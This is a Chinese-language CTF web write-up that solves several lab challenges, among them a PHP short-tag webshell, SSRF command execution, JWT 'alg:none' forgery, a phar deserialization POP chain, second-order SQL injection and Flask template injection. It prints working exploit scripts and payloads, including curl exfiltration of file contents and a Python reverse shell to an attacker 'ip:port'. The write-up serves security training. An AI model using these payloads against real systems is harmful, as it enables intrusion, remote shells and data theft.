渗透测试练习题解析 7 (CTF web)

一、[红明谷CTF 2021]write_shell 1

考点:

1、PHP 短标签

2、 ``  符号的使用

通过代码可知 check 是一个过滤函数,利用正则的方式过滤掉 空格、php、eval 等一些关键字或符号,$dir 是路径,这个值可以通过 action=pwd 获取到,也就是说获取到的文件内容会通过 file_put_contents 这个函数写入到 $dir/index.php 中。

php 被过滤可以使用 php 短标签:<?=?> ;<?= ?> 可以成功写入,这个 <?= ?> 相当于 <?echo ?>,空格杯过滤了用 %09  或者  \t  代替

?action=upload&data=<?echo%09`ls%09/`?>

?action=upload&data=<?=`ls\t/`?>

/sandbox/065831472858248584ff4993846d5065/index.php

flag 在 flllllll1112222222lag 这个文件中

?action=upload&data=<?=`cat\t/*`?>

二、[HITCON 2017]SSRFme 1

$_SERVER["REMOTE_ADDR"] 在这里相当于我们回显的 IP 地址

所以执行这段代码相当于:$sandox="sandbox/" . md5("orange"."183.36.183.18");

执行后得到的路径为:sandbox/71e85e61a595a9ea39f0a49f61054804

然后使用 chdir() 将当前工作路径修改为:sandbox/71e85e61a595a9ea39f0a49f61054804

使用 GET 命令,以及一个过滤函数 escapeshellarg() 来过滤传入的变量 url,生成的结果会放入变量 $data 中。

pathinfo() 函数就是将传入的路径 "字典化" ,比如

basename() 函数的作用:返回路径中的文件名部分

也就是说将 $data 获取到的数据存入到 sandbox/71e85e61a595a9ea39f0a49f61054804/xxx 中

访问:sandbox/71e85e61a595a9ea39f0a49f61054804/xxx

继续访问其他层级的目录

然而读取 flag 文件的时候发现是空白的

也不知道是不是 payload 的问题

但是发现还有一个 readflag 文件

访问后直接下载下来

在文本中并没有找到 flag

没思路,通过其他大佬的 WP 得解:[HITCON 2017]SSRFme_[hitcon 2017]ssrfme1-CSDN博客

利用 file 协议配合 base -c "cmd" 进行命令执行

readflag 是一个可执行文件,需要让它执行,利用命令执行先创建文件 bash -c /readflag| 

创建文件后再通过 file 协议,将读取得 flag 放入 $data 中,通过 file_put_contents 导入 xxx 文件中,访问 xxx 即可得到 flag

?url=file:bash -c /readflag|&filename=xxx

这一题应该是被做了限制,导致 PHP 代码无法写入,不然还有一种思路,通过代码我们可以看到 shell_exec 这个函数,我们可以利用 data 伪协议写入一句话木马到 xxx 文件中,然后访问 xxx 文件出发一句话木马,再通过 webshell 工具连接,绕过 disable_function 进入到 shell 模式,在里面执行 readflag 程序得到 flag

[HITCON 2017]SSRFme-CSDN博客

三、[HFCTF2020]EasyLogin 1

考点:

1、JWT 漏洞破解

注册一个账户,进来后

输入任何东西都会显示权限拒绝,所以大概率是需要 admin 权限

通过注册功能抓包分析

所以我们猜测 0 应该代表 admin,之所以确定是 admin 是因为注册得 username 使用 admin 注册失败,说明这个用户名存在

利用 nodejs 的 jwt 缺陷,当 jwt 的 secret 为空,jwt 会采用 algorithm 为 none 进行解密。

js 是若语言类型,可以将 secretid 设置为一个小数或空数组,空数组与数字比较时为 0,来绕过 secretid 得验证

至于 iat,可以先注册一个账户让后用注册的账户登录,在登陆时抓包将得到的 JWT 解码就可以得到一个已存在的 iat,用已存在的 iat 即可 

通过代码来生成一个 JWT

import base64a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1729709253}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyOTcwOTI1M30

将两串字符串进行拼接得到

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyOTcwOTI1M30.

成功登陆后再次输入并不会有任何提示

但是通过抓包发现该按钮访问的是 api/flag 的地址,我们直接在 url 中输入访问

成功获取到 flag

JSON Web Tokens - jwt.io

JWT在线工具 - kjson在线工具

jwt在线解密/加密 - JSON中文网

四、[网鼎杯 2020 半决赛]AliceWebsite 1

考点:文件包含漏洞

五、[SWPUCTF 2018]SimplePHP 1

考点:

1、phar 反序列化

2、pop 链构造

在查看文件处的 url 看到 ?file= ,猜测和文件读取有关

 f1ag.php 并无法通过文件读取漏洞读到

试试其他文件读取

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; 
} # 创建一个 show 对象
$show = new Show(); 
// 反序列化触发点
if(file_exists($file)) { # 将 $_GET['file'] 得到的值赋值给 $show->source$show->source = $file; # $show->source = new Test();# 调用 $show->_show() 方法 功能:高亮显示一个文件$show->_show(); 
} else if (!empty($file)){ die('file doesn\'t exists.'); 
} 
?> 

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> 
</div> </script> 
</body> 
</html>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?> 

代码的意思就是将文件名和 IP 地址进行拼接,然后进行 md5 加密,加密后再和 .jpg 进行拼接

base.php

<?php session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

class.php

<?php
class C1e4r
{public $test;public $str;# 对象创建时调用public function __construct($name){$this->str = $name;}# 对象销毁时调用public function __destruct(){# 令 $this->str = new Show(),当一个类被当做字符串输出时会触发 __toString$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;# 对象创建时调用,$file 是可控的,入口在 file.phppublic function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}# 在给不可访问属性赋值时,该方法被调用public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}# 反序列化时会触发# 这里的 __wakeup 不会过滤 f1ag,但是前面的 _show 会过滤 f1agpublic function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}# 读取不可访问属性的值或者属性不存在时调用public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>

魔术方法作用
__construct()当对象被创建时会调用此方法
__destrurct()在某个对象的所有引用都被删除或者当对象被显式销毁时执行
__sleep()当对象被序列化时会调用此方法
__wakeup()当对象被反序列化时将会调用此方法
__call()在对象中调用一个不可访问方法时,该方法被调用
__callStatic()在静态上下文中调用一个不可访问方法时,该方法被调用
__get()读取不可访问属性的值时,该方法被调用
__set()在给不可访问属性赋值时,该方法被调用
__toString()当一个类被当作字符串时将会调用此方法
__invoke()当尝试以调用函数的方式调用一个对象时该方法会被调用
__isset()当对不可访问属性调用 isset() 或 empty() 时,该方法会被调用
__unset()当对不可访问属性调用 unset() 时,该方法会被调用

解题

class 文件中这个地方给了我们解题思路,那就是构造 phar 反序列化,入口在 file.php 文件中

这个表中的函数可以触发 phar 反序列化

刚好在入口函数里存在 file_exists 函数,可以利用它来实现 phar 伪协议读取,然后分析读取 f1ag 的地方,在 Show 类里,可以看到 _show 函数会过滤 f1ag,但是 __wakeup 不会,所以我们要把 show 的 $source 设置为 f1ag.php,然后再想办法输出出来。

构造 POP 链: 

        首先 Test 类中要调用 __get 方法,那么类方法中必须调用一个不存在的属性或者私有属性,在 Show 类中的 __toString 方法中,有这么一句 $content = $this->str['str']->source; ,我们让 $this->str['str'] 为 Test 类,那么调用的就是 $content = Test->source;,就会触发 Test 类调用 __get,__get 中会调用 get 方法,get 方法又会调用 file_get,然后执行到 file_get_contents。不过这个的前提是要触发 __toString 方法,在 Cle4r 类中有一个 __destruct 方法,这个方法有一句 echo $this->test; ,echo 会触发 __toString 的执行,所以我们要让 $this->test$this->test = new Show() ,由于 $this->test 会被赋值为 $this->str$this->str 的值来自 $name,所以我们要令 $name = new Show()

exp

需要在 php.ini 中 让 phar.readonly = On 为 Off,不然会报错

<?phpclass C1e4r{public $test;public $str;}class Show{public $source;public $str;}class Test{public $file;public $params;}$c1e4r = new C1e4r();$show = new Show();$test = new Test();// 这里之所以要为params['source'] 是因为你Show的__toStringd调用source;// Test的 get方法会进行检测 $this->params[$key] 未定义 则赋值 index.php// 因为调用了一个未定义属性 source ,所以$key的值为 'source' // 所以这里的  $value = $this->params[$key]; 获取的就是 '/var/www/html/f1ag.php'$test->params['source'] = '/var/www/html/f1ag.php';$show->str['str'] = $test;$c1e4r->str = $show;# 创建对象 exp.phar 是文件名$phar = new Phar('exp.phar');$phar->startBuffering();// 设置stub$phar->setStub('<?php __HALT_COMPILER(); ?>');//$phar->setMetadata($c1e4r);// 要压缩的文件$phar->addFromString('exp.txt','test');$phar->stopBuffering();
?>

执行 exp,会在当前目录下生成一个文件 exp.phar

使用 phar 伪协议读取即可 /file.php?file=phar://upload/f070a0a6889f353fadfc1e57b962baba.jpg

六、[网鼎杯 2020 白虎组]PicDown 1

随便输入个值,发现有个参数 url

尝试一下能否访问其他地址 ?url=http://www.baidu.com ,访问后会下载一个 beautiful.jpg 文件下来

将后缀替换成 html 打开发现是百度的首页,说明漏洞利用点在这个位置

我们尝试能否读取服务器内的文件

非预期解

flag{10b41b16-7677-4f1c-a203-0dac30e886c1}

预期解

尝试读取用于当前进程的启动命令

读取 /app/app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)

从代码中发现 /no_one_know_the_manager 可以看到,接口接收两个参数 key 和 shell,如果 key 的值和之前读取的密钥 SECRET_KEY 相等,那么就调用 os.system() 函数执行 shell 参数传入的命令,但是不回显结果

从下面的代码可以看出 SECRET_KEY 是从 /tmp/secret.txt 中获取的,但是获取完这个文件就被删除了,不过这个文件没有关闭,所以任然可以通过 /proc/self/fd/[num] 访问对应文件(此处 [num] 代表未知的数值,需要从 0 开始遍历找出),这里在 /proc/self/fd/3 找到

/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接

经过测试 pae?url=/proc/self/fd/3 可以成功获取到 key

key = 4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=

得到 KEY 之后就可以访问了:/no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=ls

这个是不会回显结果的,所以我们要考虑带外数据

利用 curl 反弹 shell(自己准备一台服务器)

1、服务器监听端口 :nc -lvp port

2、payload :

no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=curl ip:port/`ls /|base64`

no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=curl ip:port/`cat /flag|base64`

对获取到的加密字符进行 base64 解码即可

利用 python 进行反弹 shell

1、通用是监听 :nc -lvp port

2、payload :

/no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

七、[NPUCTF2020]ezinclude 1

考点:PHP 临时文件包含

两种情况:

①、利用能访问的 phpinfo 页面,对其一次发送大量数据造成临时文件没有及时被删除【session.upload_porgress 条件竞争】

②、PHP 版本 < 7.2,利用 php 崩溃留下临时文件

关于php文件操作的几个小trick - tr1ple - 博客园

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

使用 php://filter/string.strip_tags 导致 php 崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个 tmp file 就会一直留在 tmp 目录,再进行文件名爆破就可以 getshell

该方法仅适用于以下 php7 版本,php5 并不存在该崩溃:

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

进入靶场

通过源码发现要求 md5 编码后的值要与 pass 相同

响应包中的 Hash 正是 name 经过 md5 编码后的值,把它赋值给 pass 即可

有个参数 file,这里就是文件包含的点

通过目录扫描还发现了 dir.php 这个文件

利用 python 写入 shell (地址注意修改,我中途重启了靶场)

import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

脚本运行后访问 /dir.php,得到 tmp 目录下刚刚我们上传的文件名,拼接上路径,然后 bp 访问即可 /tmp/phpgaeoU3

GET /flflflflag.php?file=/tmp/phpgaeoU3 HTTP/1.1

即可在 phpinfo 中找到 flag

另一种方法是利用 session.upload_porgress 条件竞争

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

原理:利用 session.upload_progress 上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为文件内容清空很快,所以需要不停的上传和包含,在情况之前包含该文件。具体可以自行查阅文章

八、[HarekazeCTF2019]encode_and_encode 1

考点:编码 json 转义 unicode 编码绕过

选择 Source Code 的时候会出现下列代码

<?php
error_reporting(0);if (isset($_GET['source'])) {show_source(__FILE__);exit();
}function is_valid($str) {$banword = [// no path traversal'\.\.',// no stream wrapper'(php|file|glob|data|tp|zip|zlib|phar):',// no data exfiltration'flag'];// implode 用于将数组元素组成一个字符串$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}// file_get_contents() 把整个文件读入一个字符串中。
// 将请求的数据通过 json 的形式发送到指定的请求地址处,此时的 file_get_contents('php://input') 主要是用来获取请求的原始数据,注意,此时数据的提交方式应为 POST,并且 enctype 不等于 "multipart/form-data"// 用变量 body 获取 post 数据
$body = file_get_contents('php://input');
// 对 body 变量进行 json 解码
$json = json_decode($body, true);// 判断 body 变量是否有效,json 数据要有 page
if (is_valid($body) && isset($json) && isset($json['page'])) {$page = $json['page'];// 从 page 中读出文件名,并读取文件$content = file_get_contents($page);// 检查 content 是否有效,即不能明文传输 flag,利用 php 伪协议绕过if (!$content || !is_valid($content)) {$content = "<p>not found</p>\n";}
} else {$content = '<p>invalid request</p>';
}// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
// json_encode 对变量进行 JSON 编码,将编码后的 content 输出
echo json_encode(['content' => $content]);

is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag,这里在 json 中,可以使用 unicode 编码绕过,flag 就等于 \u0066\u006c\u0061\u0067

通过验证后,获取 page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{&lt;censored&gt;},这样就无法明文读取 flag

这里传入 /\u0066\u006c\u0061\u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found,这也无法使用 file:// 。file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可

{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

{"content":"ZmxhZ3s1NjlkZWJhOC1iY2ZlLTQzNTMtYjFlMy1jNDE5NThmNjg5YmN9Cg=="} 进行 base 64 解码得到 flag{569deba8-bcfe-4353-b1e3-c41958f689bc}

九、[网鼎杯2018]Unfinish 1

考点:二次注入

通过目录扫描发现这个页面 register.php,这是一个注册页面,猜测是二次注入,下述是验证过程

后端对用户输入的数据进行了部分的过滤,限制了一些字符,通过 fuzz 进行判断

批量测试,这里只测试需要用到的字符,不需要用到的就不进行测试了

fuzz 得到 information, 被过滤。【information 库是为了方便我们后续注入表名,被过滤可以使用 sys 库;逗号被过滤可以用不使用逗号的 from for 代替】

解题思路

注册时用户名输入:0'+(select ascii(substr(database()from 2 for 1)))+'0

同理输入 0'+(select ascii(substr(database()from 3 for 1)))+'0

119 101 98 ASCII 码转成字符就是 web

表名这里我获取不到,通过查看其他师傅的 wp,发现他们是猜测表名、字段名为 flag 进行获取的

0'+(ascii(substr((select * from flag) from 1 for 1)))+'0

自动化脚本

import requests
from lxml import etree  # 这个模块需要自己安装(使用 pip install xml 即可。当然纯正则也是可以解决数据提取的)
from time import sleep
import redef req():url = "http://7c43519f-48e8-4dce-9b4f-20dfa473f1a5.node5.buuoj.cn:81/"uri_one = "login.php"uri_two = "register.php"flag = ""for i in range(100):sleep(0.3)data_register = {"email": "111111111{}@qq.com".format(i),"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i),"password": "111"}data_login = {"email": "111111111{}@qq.com".format(i),"password": "111"}res_register = requests.post(url=url + uri_two, data=data_register)res_login = requests.post(url=url + uri_one, data=data_login).texthtml = etree.HTML(res_login)res = html.xpath("//html/body/nav/div/div/span/text()")res1 = re.search(r'\d+', str(res))flag = flag + chr(int(res1.group())) # 正则中 Match 对象提供的用于取回有关搜索及结果信息的属性和方法:group() 返回匹配的字符串部分,也就是取出对应的值if(chr(int(res1.group())) == '}'): breakelse: print(flag)print(flag)if __name__ == '__main__':req()

十、[CISCN2019 华东南赛区]Double Secret 1

考点:flask 模版注入

应该是要我们填写参数值,不知道参数的名称,随便试一个

没个值都有对应的字符输出,刚开始我还傻乎乎的以为全部遍历一遍说不定就出答案了

事实并不是这样的,这些字符好像没什么用,重新回到 web 页面,对着参数一通乱输,出现了报错页面,这个页面有点熟悉,之前做过一道模版注入的题也是这样。

if(secret==None):return 'Tell me your secret.I will encrypt it so others can\'t see'rc=rc4_Modified.RC4("HereIsTreasure")   #解密deS=rc.do_crypt(secret)a=render_template_string(safe(deS))Open an interactive python shell in this frame    if 'ciscn' in a.lower():return 'flag detected!'return a

这里其实就是我们输入参数的一个判断,首先判断参数是不是为空,如果是空参,则返回 Tell me your secret.I will encrypt it so others can\'t see ,如果传入了参数,那么就会进行加密,可以看到是 RC4 加密,而且还泄露了密钥,密钥就是 HereIsTreasure ,而且通过报错我们了解到了这时 flask 的模版,而且 python 的版本是 2.7 的,我们可以利用 flask 的模版注入,执行命令,不过需要对 payload 进行 RC4 加密

RC4 加密代码

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return  crypt
def rc4_init_sbox(key):s_box = list(range(256))# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_box
def rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))cipher = "".join(res)print("加密后的字符串是:%s" %quote(cipher))return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

flask 模版注入 payload

①、查看根目录文件的payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}

②、读取文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

【注意如果字符串中的引号和最外层的引号冲突了,要进行转义】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1856.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

VBA中类的解读及应用第十七讲:类,让文本框在激活时改变颜色(下)

《VBA中类的解读及应用》教程【10165646】是我推出的第五套教程&#xff0c;目前已经是第一版修订了。这套教程定位于最高级&#xff0c;是学完初级&#xff0c;中级后的教程。 类&#xff0c;是非常抽象的&#xff0c;更具研究的价值。随着我们学习、应用VBA的深入&#xff0…

如何下载安装TestLink?

一、下载TestLink、XAMPP TestLink 下载 |SourceForge.net 备用&#xff1a;GitHub - TestLinkOpenSourceTRMS/testlink-code&#xff1a; TestLink开源测试和需求管理系统 下载XAMPP&#xff1a; Download XAMPP 注意&#xff1a;TestLink与PHP版本有关系&#xff0c;所以XA…

基于SpringBoot+微信小程序+协同过滤算法+二维码订单位置跟踪的农产品销售平台-新

✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取项目下载方式&#x1f345; 一、项目背景介绍&#xff1a; “农产品商城”小程序…

实现旺店通到金蝶云星空的数据集成:技术详解

旺店通旗舰版数据集成到金蝶云星空案例分享&#xff1a;入库瞬时成本-生产入库单-1 在企业日常运营中&#xff0c;数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例——如何将旺店通旗舰版的数据集成到金蝶云星空&#xff0c;以实现…

selinux与防火墙

一.selinux (1).什么是selinux SELinux是Security-Enhanced Linux的缩写&#xff0c;意思是安全强化的linu。 SELinux是对程序、文件等权限设置依据的一个内核模块。由于启动网络服务的也是程序&#xff0c;因此刚好也 是能够控制网络服务能否访问系统资源的一道关卡。 (2)…

【论文精读】LPT: Long-tailed prompt tuning for image classification

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;论文精读_十二月的猫的博客-CSDN博客 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 1. 摘要 2. …

链表详解(三)

目录 链表功能实现链表的查找SLNode* SLFind(SLNode* phead, SLNDataType x)代码 链表任意位置前插入void SLInsert(SLNode**pphead&#xff0c;SLNode* pos, SLNDataType x)代码 链表任意位置前删除void SLErase(SLNode**pphead&#xff0c;SLNode* pos)代码 链表任意位置后插…

有php转go项目经验者优先?

新的一周又来了&#xff0c;今天分享的是上海某公司的一面面经&#xff0c;内容主要就是go、mysql和项目&#xff0c;职位要求如下&#xff1a; 发现一个很有意思的点—有php转go项目经验者优先。想不到还有这种好事&#xff0c;本人就是php转go&#xff0c;跟我有相同经历的朋…

【AI换脸整合包及教程】AI 换脸新潮流:FaceFusion 3.0.0,开启无限创意之旅

在科技飞速发展的今天&#xff0c;人工智能已经深入到我们生活的各个角落。其中&#xff0c;AI 换脸技术以其惊人的创造力和趣味性&#xff0c;吸引了无数人的目光。而在众多 AI 换脸工具中&#xff0c;FaceFusion 3.0.0 脱颖而出&#xff0c;成为了引领潮流的佼佼者。 一、AI …

【智慧中控项目】

智慧中控 前言一、搭建开发环境1.需要做什么&#xff1f;1.1 刷机和启动OrangePi Zero2&#xff08;全志H616芯片&#xff09;1.2 在PC上安装虚拟机VM&#xff08;安装VirtualBox或VMware&#xff1a;这是常用的虚拟机软件工具&#xff09;1.3 在虚拟机VM&#xff08;VirtualBo…

“短线看涨”,上升周期中,抓以小波段行情,落袋为安

使用技巧 短线看涨指标属于副图公式&#xff0c;短线怎么操作&#xff1f;看蓝色短期安全线 这个公式主要是在上升周期中&#xff0c;抓以小波段行情为主&#xff0c;落袋为安 弱水三千 只取一瓢 公式 DIFM:(EMA(C,240)-EMA(C,520)); DEAM:EMA(DIFM,180); MACD&#xff08…

21_双端 diff 算法

目录 双端比较的原理非理想状况的处理方式添加新元素移除不存在的元素 在上一节中&#xff0c;我们实现了简单的 diff 算法&#xff0c;简单的 diff 算法利用 key 属性&#xff0c;尽可能的复用 DOM 元素&#xff0c;并通过移动 DOM 元素来完成更新&#xff0c;从而减少不断创建…

微服务实战系列之玩转Docker(十六)

导览 前言Q&#xff1a;基于容器云如何实现高可用的配置中心一、etcd入门1. 简介2. 特点 二、etcd实践1. 安装etcd镜像2. 创建etcd集群2.1 etcd-node12.2 etcd-node22.3 etcd-node3 3. 启动etcd集群 结语系列回顾 前言 Docker&#xff0c;一个宠儿&#xff0c;一个云原生领域的…

注册信息的提交

动态网页是指能够根据用户的操作或输入动态变化的网页。与静态网页相比&#xff0c;动态网页具有交互性和可变性。 一 动态网页概念 动态网页通常使用脚本语言&#xff08;如JavaScript&#xff09;与服务器进行交互&#xff0c;从服务器获取数据并动态更新网页内容。常见的动…

aws 部署测试环境服务+ip域名绑定

aws 部署springboot vue ip域名绑定域名 1.新建实例之后&#xff0c;作为测试环境开放mysql入出站规则&#xff0c;route53域名&#xff0c;红框中放入阿里云域名 1.设置出入站规则 实例应用安全组 2.mysql aws部署&#xff0c;redis,java环境&#xff0c;参见之前文章腾讯…

《数字图像处理基础》学习05-数字图像的灰度直方图

目录 一&#xff0c;数字图像的数值描述 &#xff11;&#xff0c;二值图像 &#xff12;&#xff0c;灰度图像 3&#xff0c;彩色图像 二&#xff0c;数字图像的灰度直方图 一&#xff0c;数字图像的数值描述 在之前的学习中&#xff0c;我知道了图像都是二维信息&…

书生大模型第四期 | L0G3000 git 基础知识

1、破冰行动 fork项目 PR链接&#xff1a;跳转访问 https://github.com/InternLM/Tutorial/pull/21632、构建个人项目 创建一个仓库保存LLM学习的笔记&#xff0c;以md文件为主 博客页面项目

使用 OpenTelemetry 定制跨度名称并丰富跨度而无需更改代码 - 第 1 部分

作者&#xff1a;来自 Elastic David Hope OpenTelemetry Collector 提供强大的功能&#xff0c;可以在遥测数据到达可观察性工具之前丰富和细化遥测数据。在这篇博文中&#xff0c;我们将探讨如何利用 Collector 在 Elastic Observability 中创建更有意义的 transaction 名称&…

成都睿明智科技有限公司正规吗靠谱吗?

在这个短视频风起云涌的时代&#xff0c;抖音电商以其独特的魅力&#xff0c;成为了无数商家竞相追逐的新蓝海。而在这片浩瀚的商海中&#xff0c;成都睿明智科技有限公司犹如一艘装备精良的航船&#xff0c;引领着众多企业破浪前行&#xff0c;探索抖音电商的无限可能。今天&a…

GHuNeRF: Generalizable Human NeRF from a Monocular Video

